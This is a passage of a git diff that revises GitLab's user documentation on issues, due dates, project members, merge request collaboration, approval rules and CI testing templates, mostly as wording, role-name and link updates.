+Support for [PDF](https://gitlab.com/gitlab-org/gitlab/-/issues/32811) is planned for a future release.
## Limitations
@@ -219,11 +219,14 @@ There are two ways to resolve/unresolve a Design thread:
![Resolve checkbox](img/resolve_design-discussion_checkbox_v13_1.png)
+Resolving a discussion thread also marks any pending to-do items related to notes
+inside the thread as done. This is applicable only for to-do items owned by the user triggering the action.
+
Note that your resolved comment pins disappear from the Design to free up space for new discussions.
However, if you need to revisit or find a resolved discussion, all of your resolved threads are
available in the **Resolved Comment** area at the bottom of the right sidebar.
-## Add to dos for designs
+## Add to-do items for designs
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198439) in GitLab 13.4.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/245074) in GitLab 13.5.
diff --git a/doc/user/project/issues/due_dates.md b/doc/user/project/issues/due_dates.md
index a82823947dc..5b8dd617ab9 100644
--- a/doc/user/project/issues/due_dates.md
+++ b/doc/user/project/issues/due_dates.md
@@ -4,13 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Due dates
+# Due dates **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/3614) in GitLab 8.7.
-
-Please read through the [GitLab Issue Documentation](index.md) for an overview on GitLab Issues.
-
-Due dates can be used in issues to keep track of deadlines and make sure features are
+Due dates can be used in [issues](index.md) to keep track of deadlines and make sure features are
shipped on time. Users need at least [Reporter permissions](../../permissions.md)
to be able to edit the due date. All users with permission to view
the issue can view the due date.
@@ -24,11 +20,11 @@ the user setting the due date.
![Create a due date](img/due_dates_create.png)
-You can also set a due date via the issue sidebar. Expand the
-sidebar and click **Edit** to pick a due date or remove the existing one.
+You can also set a due date by using the issue sidebar. Expand the
+sidebar and select **Edit** to pick a due date or remove the existing one.
Changes are saved immediately.
-![Edit a due date via the sidebar](img/due_dates_edit_sidebar.png)
+![Edit a due date with the sidebar](img/due_dates_edit_sidebar.png)
The last way to set a due date is by using [quick actions](../quick_actions.md), directly in an issue's description or comment:
@@ -52,9 +48,9 @@ of the issue. Like the due date, the "day before the due date" is determined by
server's timezone.
Issues with due dates can also be exported as an iCalendar feed. The URL of the
-feed can be added to calendar applications. The feed is accessible by clicking
-on the **Subscribe to calendar** button on the following pages:
+feed can be added to calendar applications. The feed is accessible by selecting
+the **Subscribe to calendar** button on the following pages:
-- on the **Assigned Issues** page that is linked on the right-hand side of the GitLab header
-- on the **Project Issues** page
-- on the **Group Issues** page
+- The **Assigned Issues** page linked on the right side of the GitLab header
+- The **Project Issues** page
+- The **Group Issues** page
diff --git a/doc/user/project/issues/img/issue_type_change_v13_12.png b/doc/user/project/issues/img/issue_type_change_v13_12.png
new file mode 100644
index 00000000000..3b4864ffbbb
--- /dev/null
+++ b/doc/user/project/issues/img/issue_type_change_v13_12.png
Binary files differ
diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md
index 3af6c528db9..13f5beadb16 100644
--- a/doc/user/project/issues/issue_data_and_actions.md
+++ b/doc/user/project/issues/issue_data_and_actions.md
@@ -221,7 +221,7 @@ merge request is also listed here.
You can award emojis to issues. You can select the "thumbs up" and "thumbs down",
or the gray "smiley-face" to choose from the list of available
-[GitLab Flavored Markdown Emoji](../../markdown.md#emoji).
+[GitLab Flavored Markdown Emoji](../../markdown.md#emojis).
NOTE:
Posting "+1" as a comment in a thread spams all subscribed participants of that issue,
diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md
index 9e8a75743a7..35573518626 100644
--- a/doc/user/project/issues/managing_issues.md
+++ b/doc/user/project/issues/managing_issues.md
@@ -315,10 +315,15 @@ issues are still displayed, but are not closed automatically.
![disable issue auto close - settings](img/disable_issue_auto_close.png)
+The automatic issue closing is also disabled in a project if the project has the issue tracker
+disabled. If you want to enable automatic issue closing, make sure to
+[enable GitLab Issues](../settings/index.md#sharing-and-permissions).
+
This only applies to issues affected by new merge requests or commits. Already
-closed issues remain as-is. Disabling automatic issue closing only affects merge
-requests *in* the project and does not prevent other projects from closing it
-via cross-project issues.
+closed issues remain as-is.
+If issue tracking is enabled, disabling automatic issue closing only applies to merge requests
+attempting to automatically close issues within the same project.
+Merge requests in other projects can still close another project's issues.
#### Customizing the issue closing pattern **(FREE SELF)**
@@ -326,9 +331,20 @@ In order to change the default issue closing pattern, GitLab administrators must
[`gitlab.rb` or `gitlab.yml` file](../../../administration/issue_closing_pattern.md)
of your installation.
+## Change the issue type
+
+Users with [developer permission](../../permissions.md)
+can change an issue's type. To do this, edit the issue and select an issue type from the
+**Issue type** selector menu:
+
+- [Issue](index.md)
+- [Incident](../../../operations/incident_management/index.md)
+
+![Change the issue type](img/issue_type_change_v13_12.png)
+
## Deleting issues
-Users with [project owner permission](../../permissions.md) can delete an issue by
+Users with the [Owner role](../../permissions.md) can delete an issue by
editing it and selecting **Delete issue**.
![delete issue - button](img/delete_issue_v13_11.png)
diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md
index 0cb5b5d993e..e7adc045e98 100644
--- a/doc/user/project/labels.md
+++ b/doc/user/project/labels.md
@@ -282,4 +282,4 @@ To resolve the duplication, [in GitLab 13.2](https://gitlab.com/gitlab-org/gitla
and later, some duplicate labels have `_duplicate<number>` appended to their titles.
You can safely change these labels' titles if you prefer.
-For details of the original problem, see [issue 30390](https://gitlab.com/gitlab-org/gitlab/issues/30390).
+For details of the original problem, see [issue 30390](https://gitlab.com/gitlab-org/gitlab/-/issues/30390).
diff --git a/doc/user/project/members/img/access_requests_management_v13_9.png b/doc/user/project/members/img/access_requests_management_v13_9.png
deleted file mode 100644
index b7883e9d134..00000000000
--- a/doc/user/project/members/img/access_requests_management_v13_9.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/members/img/add_user_email_accept_v13_9.png b/doc/user/project/members/img/add_user_email_accept_v13_9.png
deleted file mode 100644
index a6b303e05ca..00000000000
--- a/doc/user/project/members/img/add_user_email_accept_v13_9.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/members/img/add_user_email_ready_v13_8.png b/doc/user/project/members/img/add_user_email_ready_v13_8.png
deleted file mode 100644
index a610b46a176..00000000000
--- a/doc/user/project/members/img/add_user_email_ready_v13_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/members/img/add_user_email_search_v13_8.png b/doc/user/project/members/img/add_user_email_search_v13_8.png
deleted file mode 100644
index 934cf19bd3d..00000000000
--- a/doc/user/project/members/img/add_user_email_search_v13_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/members/img/withdraw_access_request_button.png b/doc/user/project/members/img/withdraw_access_request_button.png
deleted file mode 100644
index e5a8fe0b356..00000000000
--- a/doc/user/project/members/img/withdraw_access_request_button.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md
index 7dc1a9c612f..ab33ff0f6d8 100644
--- a/doc/user/project/members/index.md
+++ b/doc/user/project/members/index.md
@@ -1,10 +1,10 @@
---
-stage: none
-group: unassigned
+stage: Manage
+group: Access
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Members of a project
+# Members of a project **(FREE)**
Members are the users and groups who have access to your project.
@@ -17,12 +17,13 @@ to perform actions.
Prerequisite:
-- You must have maintainer or owner [permissions](../../permissions.md).
+- You must have the [Maintainer or Owner role](../../permissions.md).
To add a user to a project:
1. Go to your project and select **Members**.
-1. On the **Invite member** tab, under **GitLab member of Email address**, type the username or email address.
+1. On the **Invite member** tab, under **GitLab member or Email address**, type the username or email address.
+ In GitLab 13.11 and later, you can [replace this form with a modal window](#add-a-member-modal-window).
1. Select a [role](../../permissions.md).
1. Optional. Choose an expiration date. On that date, the user can no longer access the project.
1. Select **Invite**.
@@ -30,15 +31,24 @@ To add a user to a project:
If the user has a GitLab account, they are added to the members list.
If you used an email address, the user receives an email.
+If the invitation is not accepted, GitLab sends reminder emails two,
+five, and ten days later. Unaccepted invites are automatically
+deleted after 90 days.
+
+If the user does not have a GitLab account, they are prompted to create an account
+using the email address the invitation was sent to.
+
## Add groups to a project
-When you assign a group to a project, each user in the group gets access to the project,
-based on the role they're assigned in the group. However, the user's access is also
-limited by the maximum role you choose when you invite the group.
+When you add a group to a project, each user in the group gets access to the project.
+Each user's access is based on:
+
+- The role they're assigned in the group.
+- The maximum role you choose when you invite the group.
Prerequisite:
-- You must have maintainer or owner [permissions](../../permissions.md).
+- You must have the [Maintainer or Owner role](../../permissions.md).
To add groups to a project:
@@ -61,7 +71,7 @@ retain the same permissions as the project you import them from.
Prerequisite:
-- You must have maintainer or owner [permissions](../../permissions.md).
+- You must have the [Maintainer or Owner role](../../permissions.md).
To import users:
@@ -74,20 +84,39 @@ A success message is displayed and the new members are now displayed in the list
## Inherited membership
-When your project belongs to a group, group members inherit the membership and permission
-level for the project from the group.
+When your project belongs to a group, group members inherit their role
+from the group.
![Project members page](img/project_members_v13_9.png)
-From the image above, we can deduce the following things:
+In this example:
+
+- Three members have access to the project.
+- **User 0** is a Reporter and has inherited their role from the **demo** group,
+ which contains the project.
+- **User 1** belongs directly to the project. In the **Source** column, they are listed
+ as a **Direct member**.
+- **Administrator** is the [Owner](../../permissions.md) and member of all groups.
+ They have inherited their role from the **demo** group.
+
+## Remove a member from a project
+
+If a user is a direct member of a project, you can remove them.
+If membership is inherited from a parent group, then the member can be removed only from the parent
+group itself.
-- There are 3 members that have access to the project.
-- User0 is a Reporter and has inherited their permissions from group `demo`
- which contains current project.
-- User1 is shown as a **Direct member** in the **Source** column, therefore they belong directly
- to the project we're inspecting.
-- Administrator is the Owner and member of **all** groups and for that reason,
- there is an indication of an ancestor group and inherited Owner permissions.
+Prerequisite:
+
+- You must have the [Owner role](../../permissions.md).
+- Optional. Unassign the member from all issues and merge requests that
+ are assigned to them.
+
+To remove a member from a project:
+
+1. Go to your project and select **Members**.
+1. Next to the project member you want to remove, select **Remove member** **{remove}**.
+1. Optional. In the confirmation box, select the **Also unassign this user from related issues and merge requests** checkbox.
+1. Select **Remove member**.
## Filter and sort members
@@ -95,22 +124,21 @@ From the image above, we can deduce the following things:
> - [Improved](https://gitlab.com/groups/gitlab-org/-/epics/4901) in GitLab 13.9.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299954) in GitLab 13.10.
-The following sections illustrate how you can filter and sort members in a project. To view these options,
-navigate to your desired project, go to **Members**, and include the noted search terms.
-
-### Membership filter
-
-By default, inherited and direct members are displayed. The membership filter can be used to display only inherited or only direct members.
+You can filter and sort members in a project.
-#### Display inherited members
+### Display inherited members
-To display inherited members, include `Membership` `=` `Inherited` in the search text box.
+1. Go to your project and select **Members**.
+1. In the **Filter members** box, select `Membership` `=` `Inherited`.
+1. Press Enter.
![Project members filter inherited](img/project_members_filter_inherited_v13_9.png)
-#### Display direct members
+### Display direct members
-To display direct members, include `Membership` `=` `Direct` in the search text box.
+1. Go to your project and select **Members**.
+1. In the **Filter members** box, select `Membership` `=` `Direct`.
+1. Press Enter.
![Project members filter direct](img/project_members_filter_direct_v13_9.png)
@@ -126,36 +154,41 @@ You can sort members by **Account**, **Access granted**, **Max role**, or **Last
![Project members sort](img/project_members_sort_v13_9.png)
-## Invite people using their e-mail address
+## Request access to a project
-NOTE:
-In GitLab 13.11, you can [replace this form with a modal window](#add-a-member-modal-window).
+GitLab users can request to become a member of a project.
-If a user you want to give access to doesn't have an account on your GitLab
-instance, you can invite them just by typing their e-mail address in the
-user search field.
+1. Go to the project you'd like to be a member of.
+1. By the project name, select **Request Access**.
-![Invite user by mail](img/add_user_email_search_v13_8.png)
+![Request access button](img/request_access_button.png)
-As you can imagine, you can mix inviting multiple people and adding existing
-GitLab users to the project.
+An email is sent to the most recently active project maintainers.
+Up to ten project maintainers are notified.
+Any project maintainer can approve or decline the request.
-![Invite user by mail ready to submit](img/add_user_email_ready_v13_8.png)
+If a project does not have any maintainers, the notification is sent to the
+most recently active owners of the project's group.
+
+If you change your mind before your request is approved, select
+**Withdraw Access Request**.
-Once done, hit **Add users to project** and watch that there is a new member
-with the e-mail address we used above. From there on, you can resend the
-invitation, change their access level, or even delete them.
+## Prevent users from requesting access to a project
-![Invite user members list](img/add_user_email_accept_v13_9.png)
+You can prevent users from requesting access to a project.
+
+Prerequisite:
-While unaccepted, the system automatically sends reminder emails on the second, fifth,
-and tenth day after the invitation was initially sent.
+- You must be the project owner.
-After the user accepts the invitation, they are prompted to create a new
-GitLab account using the same e-mail address the invitation was sent to.
+1. Go to the project and select **Settings > General**.
+1. Expand the **Visibility, project features, permissions** section.
+1. Under **Project visibility**, select **Users can request access**.
+1. Select **Save changes**.
-NOTE:
-Unaccepted invites are automatically deleted after 90 days.
+## Share a project with a group
+
+Instead of adding users one by one, you can [share a project with an entire group](share_project_with_groups.md).
### Add a member modal window
@@ -172,10 +205,10 @@ This feature might not be available to you. Check the **version history** note a
In GitLab 13.11, you can optionally replace the form to add a member with a modal window.
To add a member after enabling this feature:
-1. Go to your project's page.
-1. In the left sidebar, go to **Members**, and then select **Invite members**.
-1. Enter an email address, and select a role permission for this user.
-1. (Optional) Select an **Access expiration date**.
+1. Go to your project and select **Members**.
+1. Select **Invite members**.
+1. Enter an email address and select a role.
+1. Optional. Select an **Access expiration date**.
1. Select **Invite**.
### Enable or disable modal window **(FREE SELF)**
@@ -196,65 +229,3 @@ To disable it:
```ruby
Feature.disable(:invite_members_group_modal)
```
-
-## Project membership and requesting access
-
-Project owners can :
-
-- Allow non-members to request access to the project.
-- Prevent non-members from requesting access.
-
-To configure this, go to the project settings and click on **Allow users to request access**.
-
-GitLab users can request to become a member of a project. Go to the project you'd
-like to be a member of and click the **Request Access** button on the right
-side of your screen.
-
-![Request access button](img/request_access_button.png)
-
-After access is requested:
-
-- Up to ten project maintainers are notified of the request via email.
- Email is sent to the most recently active project maintainers.
-- Any project maintainer can approve or decline the request on the members page.
-
-NOTE:
-If a project does not have any maintainers, the notification is sent to the
-most recently active owners of the project's group.
-
-![Manage access requests](img/access_requests_management_v13_9.png)
-
-If you change your mind before your request is approved, just click the
-**Withdraw Access Request** button.
-
-![Withdraw access request button](img/withdraw_access_request_button.png)
-
-## Share project with group
-
-Alternatively, you can [share a project with an entire group](share_project_with_groups.md) instead of adding users one by one.
-
-## Remove a member from the project
-
-Only users with permissions of [Owner](../../permissions.md#group-members-permissions) can manage
-project members.
-
-You can remove a user from the project if the given member has a direct membership in the project.
-If membership is inherited from a parent group, then the member can be removed only from the parent
-group itself.
-
-When removing a member, you can decide whether to unassign the user from all issues and merge
-requests they are currently assigned or leave the assignments as they are.
-
-- **Unassigning the removed member** from all issues and merge requests might be helpful when a user
- is leaving a private project and you wish to revoke their access to any issues and merge requests
- they are assigned.
-- **Keeping the issues and merge requests assigned** might be helpful for projects that accept public
- contributions where a user doesn't have to be a member to be able to contribute to issues and
- merge requests.
-
-To remove a member from a project:
-
-1. Go to your project and select **Members**.
-1. Next to the project member you want to remove, select **Remove member** **{remove}**.
-1. Optional. In the confirmation box, select the **Also unassign this user from related issues and merge requests** checkbox.
-1. Select **Remove member**.
diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md
index 085e4db0b94..caef5ef60b7 100644
--- a/doc/user/project/members/share_project_with_groups.md
+++ b/doc/user/project/members/share_project_with_groups.md
@@ -60,7 +60,7 @@ To share a project after enabling this feature:
1. Go to your project's page.
1. In the left sidebar, go to **Members**, and then select **Invite a group**.
-1. Select a group, and select a **Max access level**.
+1. Select a group, and select a **Max role**.
1. (Optional) Select an **Access expiration date**.
1. Select **Invite**.
diff --git a/doc/user/project/merge_requests/accessibility_testing.md b/doc/user/project/merge_requests/accessibility_testing.md
index 09770bd447d..76aff18b00d 100644
--- a/doc/user/project/merge_requests/accessibility_testing.md
+++ b/doc/user/project/merge_requests/accessibility_testing.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference, howto
---
-# Accessibility Testing
+# Accessibility testing **(FREE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25144) in GitLab 12.8.
@@ -17,11 +17,11 @@ impact of pending code changes.
GitLab uses [pa11y](https://pa11y.org/), a free and open source tool for
measuring the accessibility of web sites, and has built a simple
-[CI job template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml).
+[CI job template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml).
This job outputs accessibility violations, warnings, and notices for each page
analyzed to a file called `accessibility`.
-## Accessibility Merge Request widget
+## Accessibility merge request widget
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39425) in GitLab 13.0 behind the disabled [feature flag](../../../administration/feature_flags.md) `:accessibility_report_view`.
> - [Feature Flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217372) in GitLab 13.1.
@@ -29,7 +29,7 @@ analyzed to a file called `accessibility`.
In addition to the report artifact that is created, GitLab will also show the
Accessibility Report in the merge request widget area:
-![Accessibility Merge Request Widget](img/accessibility_mr_widget_v13_0.png)
+![Accessibility merge request widget](img/accessibility_mr_widget_v13_0.png)
## Configure Accessibility Testing
@@ -38,7 +38,7 @@ on your code with GitLab CI/CD using the [GitLab Accessibility Docker image](htt
For GitLab 12.9 and later, to define the `a11y` job, you must
[include](../../../ci/yaml/README.md#includetemplate) the
-[`Accessibility.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml)
+[`Accessibility.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml)
included with your GitLab installation, as shown below.
Add the following to your `.gitlab-ci.yml` file:
@@ -67,7 +67,7 @@ For GitLab 12.10 and earlier, the [artifact generated is named `accessibility.js
NOTE:
For GitLab versions earlier than 12.9, you can use `include:remote` and use a
-link to the [current template in `master`](https://gitlab.com/gitlab-org/gitlab/-/raw/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml)
+link to the [current template in the default branch](https://gitlab.com/gitlab-org/gitlab/-/raw/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml)
NOTE:
The job definition provided by the template does not support Kubernetes yet.
diff --git a/doc/user/project/merge_requests/allow_collaboration.md b/doc/user/project/merge_requests/allow_collaboration.md
index 5917d67c398..63d5119c1b4 100644
--- a/doc/user/project/merge_requests/allow_collaboration.md
+++ b/doc/user/project/merge_requests/allow_collaboration.md
@@ -24,19 +24,17 @@ of the merge request.
## Enabling commit edits from upstream members
In [GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/23308),
-this setting is enabled by default. It can be changed by users with Developer
-permissions to the source project. Once enabled, upstream members can
-retry the pipelines and jobs of the merge request:
+this setting is enabled by default. It can be changed by users with the
+Developer [role](../../permissions.md) for the source project. After it's enabled,
+upstream members can retry the pipelines and jobs of the merge request:
-1. While creating or editing a merge request, select the checkbox **Allow
- commits from members who can merge to the target branch**.
+1. While creating or editing a merge request, scroll to **Contribution** and
+ then select the **Allow commits from members who can merge to the target branch**.
+ checkbox.
+1. Finish creating your merge request.
- ![Enable contribution](img/allow_collaboration.png)
-
-1. Once the merge request is created, you can see that commits from members who
- can merge to the target branch are allowed.
-
- ![Check that contribution is enabled](img/allow_collaboration_after_save.png)
+After you create the merge request, the merge request widget displays a message:
+**Members who can merge are allowed to add commits.**
## Pushing to the fork as the upstream member
@@ -48,41 +46,39 @@ Assuming that:
- The forked project URL is `git@gitlab.com:thedude/awesome-project.git`.
- The branch of the merge request is `update-docs`.
-Here's how the process would look like:
-
-1. First, you need to get the changes that the merge request has introduced.
- Click the **Check out branch** button that has some pre-populated
- commands that you can run.
-
- ![Check out branch button](img/checkout_button.png)
+To find and work with the changes from the fork:
-1. Use the copy button to copy the first command and paste them
- in your terminal:
+1. Open the merge request page, and select the **Overview** tab.
+1. Scroll to the merge request widget, and select **Check out branch**:
+ ![Check out branch button](img/commit-button_v13_12.png)
+1. In the modal window, select **{copy-to-clipboard}** (**Copy**) for step 1
+ to copy the `git fetch` and `git checkout` instructions to your clipboard.
+ Paste the commands (which look like this example) into your terminal:
```shell
git fetch git@gitlab.com:thedude/awesome-project.git update-docs
git checkout -b thedude-awesome-project-update-docs FETCH_HEAD
```
- This fetches the branch of the forked project and then create a local branch
+ These commands fetch the branch from the forked project, and create a local branch
based off the fetched branch.
-1. Make any changes you want and commit.
-1. Push to the forked project:
+1. Make your changes to the local copy of the branch, and then commit them.
+1. In your terminal, push your local changes back up to the forked project. This
+ command pushes the local branch `thedude-awesome-project-update-docs` to the
+ `update-docs` branch of the `git@gitlab.com:thedude/awesome-project.git` repository:
```shell
git push git@gitlab.com:thedude/awesome-project.git thedude-awesome-project-update-docs:update-docs
```
- Note the colon (`:`) between the two branches. The above command pushes the
- local branch `thedude-awesome-project-update-docs` to the
- `update-docs` branch of the `git@gitlab.com:thedude/awesome-project.git` repository.
+ Note the colon (`:`) between the two branches.
## Troubleshooting
### Pipeline status unavailable from MR page of forked project
-When a user forks a project, the permissions on the forked copy are not copied over
+When a user forks a project, the permissions of the forked copy are not copied
from the original project. The creator of the fork must grant permissions to the
forked copy before members in the upstream project can view or merge the changes
in the merge request.
diff --git a/doc/user/project/merge_requests/approvals/index.md b/doc/user/project/merge_requests/approvals/index.md
index ac48e44da52..3c47c2af344 100644
--- a/doc/user/project/merge_requests/approvals/index.md
+++ b/doc/user/project/merge_requests/approvals/index.md
@@ -42,7 +42,7 @@ for more control of the level of oversight and security your project needs, incl
- [Require security team approval.](settings.md#security-approvals-in-merge-requests)
You can configure your merge request approval rules and settings through the GitLab
-user interface or [with the API](../../../../api/merge_request_approvals.md).
+user interface or with the [Merge request approvals API](../../../../api/merge_request_approvals.md).
## Approve a merge request
@@ -97,36 +97,6 @@ Without the approvals, the work cannot merge. Required approvals enable multiple
- [Require approval from a security team](../../../application_security/index.md#security-approvals-in-merge-requests)
before merging code that could introduce a vulnerability. **(ULTIMATE)**
-## Notify external services **(ULTIMATE)**
-
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab Ultimate 13.10.
-> - [Deployed behind a feature flag](../../../feature_flags.md), disabled by default.
-> - Disabled on GitLab.com.
-> - Not recommended for production use.
-> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../../../api/merge_request_approvals.md#enable-or-disable-external-project-level-mr-approvals). **(ULTIMATE SELF)**
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
-
-You can create an external approval rule to integrate approvals with third-party tools.
-When users create, change, or close merge requests, GitLab sends a notification.
-The users of the third-party tools can then approve merge requests from outside of GitLab.
-
-With this integration, you can integrate with third-party workflow tools, like
-[ServiceNow](https://www.servicenow.co.uk/), or the custom tool of your choice.
-You can modify your external approval rules
-[by using the REST API](../../../../api/merge_request_approvals.md#external-project-level-mr-approvals).
-
-The lack of an external approval doesn't block the merging of a merge request.
-
-When [approval rule overrides](settings.md#prevent-overrides-of-default-approvals) are allowed,
-changes to default approval rules will **not** be applied to existing
-merge requests, except for changes to the [target branch](rules.md#approvals-for-protected-branches)
-of the rule.
-
-To learn more about use cases, feature discovery, and development timelines,
-see the [External API approval rules epic](https://gitlab.com/groups/gitlab-org/-/epics/3869).
-
## Related links
- [Merge request approvals API](../../../../api/merge_request_approvals.md)
diff --git a/doc/user/project/merge_requests/approvals/rules.md b/doc/user/project/merge_requests/approvals/rules.md
index 32f0160771f..1e4b0f659ee 100644
--- a/doc/user/project/merge_requests/approvals/rules.md
+++ b/doc/user/project/merge_requests/approvals/rules.md
@@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference, concepts
---
-# Merge request approval rules
+# Merge request approval rules **(FREE)**
Approval rules define how many [approvals](index.md) a merge request must receive before it can
be merged, and which users should do the approving. You can define approval rules:
@@ -144,7 +144,7 @@ approve in these ways:
[**Prevent committers approval**](settings.md#prevent-committers-from-approving-their-own-work)
project setting.
-### Code owners as eligible approvers
+### Code owners as eligible approvers **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7933) in GitLab 11.5.
> - Moved to GitLab Premium in 13.9.
@@ -162,7 +162,7 @@ You can also
[require code owner approval](../../protected_branches.md#protected-branches-approval-by-code-owners)
for protected branches. **(PREMIUM)**
-## Merge request approval segregation of duties
+## Merge request approval segregation of duties **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40491) in GitLab 13.4.
> - Moved to GitLab Premium in 13.9.
diff --git a/doc/user/project/merge_requests/approvals/settings.md b/doc/user/project/merge_requests/approvals/settings.md
index 8769f6a7470..97e4b7da396 100644
--- a/doc/user/project/merge_requests/approvals/settings.md
+++ b/doc/user/project/merge_requests/approvals/settings.md
@@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference, concepts
---
-# Merge request approval settings
+# Merge request approval settings **(FREE)**
You can configure the settings for [merge request approvals](index.md) to
ensure the approval rules meet your use case. You can also configure
diff --git a/doc/user/project/merge_requests/authorization_for_merge_requests.md b/doc/user/project/merge_requests/authorization_for_merge_requests.md
index aa43d34cdd9..930df65f3fc 100644
--- a/doc/user/project/merge_requests/authorization_for_merge_requests.md
+++ b/doc/user/project/merge_requests/authorization_for_merge_requests.md
@@ -16,17 +16,17 @@ There are two main ways to have a merge request flow with GitLab:
With the protected branch flow everybody works within the same GitLab project.
-The project maintainers get Maintainer access and the regular developers get
-Developer access.
+The project maintainers get the [Maintainer role](../../permissions.md) and the regular developers
+get Developer access.
-The maintainers mark the authoritative branches as 'Protected'.
+Maintainers mark the authoritative branches as 'Protected'.
-The developers push feature branches to the project and create merge requests
+Developers push feature branches to the project and create merge requests
to have their feature branches reviewed and merged into one of the protected
branches.
-By default, only users with Maintainer access can merge changes into a protected
-branch.
+By default, only users with the [Maintainer role](../../permissions.md) can merge changes into a
+protected branch.
**Advantages**
@@ -39,14 +39,14 @@ branch.
## Forking workflow
-With the forking workflow the maintainers get Maintainer access and the regular
+With the forking workflow, maintainers get the [Maintainer role](../../permissions.md) and regular
developers get Reporter access to the authoritative repository, which prohibits
them from pushing any changes to it.
Developers create forks of the authoritative project and push their feature
branches to their own forks.
-To get their changes into master they need to create a merge request across
+To get their changes into the default branch, they need to create a merge request across
forks.
**Advantages**
diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md
index b33919c7fbe..d11ad53a9d6 100644
--- a/doc/user/project/merge_requests/browser_performance_testing.md
+++ b/doc/user/project/merge_requests/browser_performance_testing.md
@@ -40,18 +40,18 @@ Consider the following workflow:
## How browser performance testing works
First, define a job in your `.gitlab-ci.yml` file that generates the
-[Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsperformance).
+[Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsbrowser_performance).
GitLab then checks this report, compares key performance metrics for each page
between the source and target branches, and shows the information in the merge request.
-For an example Performance job, see
+For an example Browser Performance job, see
[Configuring Browser Performance Testing](#configuring-browser-performance-testing).
NOTE:
If the Browser Performance report has no data to compare, such as when you add the
Browser Performance job in your `.gitlab-ci.yml` for the very first time,
-the Browser Performance report widget doesn't show. It must have run at least
-once on the target branch (`master`, for example), before it displays in a
+the Browser Performance report widget doesn't display. It must have run at least
+once on the target branch (`main`, for example), before it displays in a
merge request targeting that branch.
![Browser Performance Widget](img/browser_performance_testing.png)
@@ -70,27 +70,26 @@ using Docker-in-Docker.
include:
template: Verify/Browser-Performance.gitlab-ci.yml
- performance:
+ browser_performance:
variables:
URL: https://example.com
```
WARNING:
-In GitLab 14.0 and later, the job [is scheduled to be renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914)
-from `performance` to `browser_performance`.
+In GitLab 13.12 and earlier, the job [was named](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) `performance`.
The above example:
-- Creates a `performance` job in your CI/CD pipeline and runs sitespeed.io against the webpage you
+- Creates a `browser_performance` job in your CI/CD pipeline and runs sitespeed.io against the webpage you
defined in `URL` to gather key metrics.
- Uses a template that doesn't work with Kubernetes clusters. If you are using a Kubernetes cluster,
- use [`template: Jobs/Browser-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml)
+ use [`template: Jobs/Browser-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml)
instead.
- Uses a CI/CD template that is included in all GitLab installations since 12.4. If you are using
GitLab 12.3 or earlier, you must [add the configuration manually](#gitlab-versions-132-and-earlier).
The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance),
-and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsperformance)
+and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsbrowser_performance)
that you can later download and analyze. This implementation always takes the latest
Browser Performance artifact available. If [GitLab Pages](../pages/index.md) is enabled,
you can view the report directly in your browser.
@@ -108,7 +107,7 @@ makes on the given URL, and change the version:
include:
template: Verify/Browser-Performance.gitlab-ci.yml
-performance:
+browser_performance:
variables:
